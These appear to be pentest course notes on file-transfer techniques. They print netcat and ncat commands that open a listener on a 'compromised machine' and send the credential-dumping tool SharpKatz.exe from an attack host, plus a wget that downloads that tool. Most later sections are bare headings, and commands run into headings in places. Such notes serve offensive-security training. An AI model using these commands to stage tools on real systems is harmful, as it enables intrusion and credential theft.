Miscellaneous File Transfer Methods
File Transfer with Netcat and Ncat
NetCat - Compromised Machine - Listening on Port 8000
victim@target:~$ # Example using Original Netcat
victim@target:~$ nc -l -p 8000 > SharpKatz.exeNcat - Compromised Machine - Listening on Port 8000
victim@target:~$ # Example using Ncat
victim@target:~$ ncat -l -p 8000 --recv-only > SharpKatz.exeNetcat - Attack Host - Sending File to Compromised machine
eldeim@htb[/htb]$ wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
eldeim@htb[/htb]$ # Example using Original Netcat
eldeim@htb[/htb]$ nc -q 0 192.168.49.128 8000 < SharpKatz.exeNcat - Attack Host - Sending File to Compromised machine
Attack Host - Sending File as Input to Netcat
Compromised Machine Connect to Netcat to Receive the File
Attack Host - Sending File as Input to Ncat
Compromised Machine Connect to Ncat to Receive the File
NetCat - Sending File as Input to Netcat
Ncat - Sending File as Input to Ncat
Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File
PowerShell Session File Transfer
From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.
Create a PowerShell Remoting Session to DATABASE01
Copy samplefile.txt from our Localhost to the DATABASE01 Session
Copy DATABASE.txt from DATABASE01 Session to our Localhost
RDP
Mounting a Linux Folder Using rdesktop
Mounting a Linux Folder Using xfreerdp


Last updated